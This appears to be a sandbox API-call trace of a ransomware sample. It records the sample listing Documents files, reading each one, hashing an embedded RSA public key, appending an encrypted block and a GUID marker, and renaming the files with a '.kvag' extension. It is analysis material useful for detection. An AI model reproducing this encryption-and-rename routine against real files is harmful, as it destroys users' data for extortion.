lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.210] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.210] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.210] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.210] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.210] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.210] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.210] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.210] GetLastError () returned 0x0 [0119.211] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.211] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.211] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.211] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.211] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.211] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.211] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1213e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.212] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.212] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.212] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.212] CloseHandle (hObject=0x61c) returned 1 [0119.213] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4uLO0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ulo0.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4uLO0.docx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ulo0.docx.kvag")) returned 1 [0119.215] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6a5970, ftCreationTime.dwHighDateTime=0x1d4d4a0, ftLastAccessTime.dwLowDateTime=0x16f6ef10, ftLastAccessTime.dwHighDateTime=0x1d4cd95, ftLastWriteTime.dwLowDateTime=0x16f6ef10, ftLastWriteTime.dwHighDateTime=0x1d4cd95, nFileSizeHigh=0x0, nFileSizeLow=0xf910, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7JC_yCO.odt", cAlternateFileName="")) returned 1 [0119.215] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7JC_yCO.odt") returned=".odt" [0119.215] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7JC_yCO.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7jc_yco.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.216] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=63760) returned 1 [0119.216] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.218] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf8ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.218] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.219] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xf910, lpOverlapped=0x0) returned 1 [0119.220] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.220] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.220] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.220] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.221] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.221] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.221] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.221] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.221] GetLastError () returned 0x0 [0119.221] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.221] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.221] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.221] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.221] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.222] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.222] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf910, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.222] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.222] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.222] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.222] CloseHandle (hObject=0x61c) returned 1 [0119.224] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7JC_yCO.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7jc_yco.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7JC_yCO.odt.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7jc_yco.odt.kvag")) returned 1 [0119.225] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9eca140, ftCreationTime.dwHighDateTime=0x1d4c5cc, ftLastAccessTime.dwLowDateTime=0xd4bb5290, ftLastAccessTime.dwHighDateTime=0x1d4c7f8, ftLastWriteTime.dwLowDateTime=0xd4bb5290, ftLastWriteTime.dwHighDateTime=0x1d4c7f8, nFileSizeHigh=0x0, nFileSizeLow=0x7a7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8EZD4fe-JzDo4-iwb.ots", cAlternateFileName="8EZD4F~1.OTS")) returned 1 [0119.225] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8EZD4fe-JzDo4-iwb.ots") returned=".ots" [0119.225] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8EZD4fe-JzDo4-iwb.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8ezd4fe-jzdo4-iwb.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.225] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=31354) returned 1 [0119.225] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.227] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.227] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.229] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x7a7a, lpOverlapped=0x0) returned 1 [0119.229] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.229] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.229] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.229] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.230] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.230] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.230] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.230] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.230] GetLastError () returned 0x0 [0119.230] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.230] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.230] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.230] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.230] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.231] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.231] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7a7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.231] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.231] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.231] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.231] CloseHandle (hObject=0x61c) returned 1 [0119.232] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8EZD4fe-JzDo4-iwb.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8ezd4fe-jzdo4-iwb.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8EZD4fe-JzDo4-iwb.ots.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8ezd4fe-jzdo4-iwb.ots.kvag")) returned 1 [0119.234] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342bb480, ftCreationTime.dwHighDateTime=0x1d4cc4b, ftLastAccessTime.dwLowDateTime=0x457d90, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x457d90, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0x11caf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8YZ957hMKqh_.odp", cAlternateFileName="8YZ957~1.ODP")) returned 1 [0119.234] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8YZ957hMKqh_.odp") returned=".odp" [0119.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8YZ957hMKqh_.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8yz957hmkqh_.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.234] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=72879) returned 1 [0119.234] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.236] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11c89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.236] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.237] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x11caf, lpOverlapped=0x0) returned 1 [0119.238] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.238] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.238] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.238] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.239] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.239] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.239] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.239] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.239] GetLastError () returned 0x0 [0119.239] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.239] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.239] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.239] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.239] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.240] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.240] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11caf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.240] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.240] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.240] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, 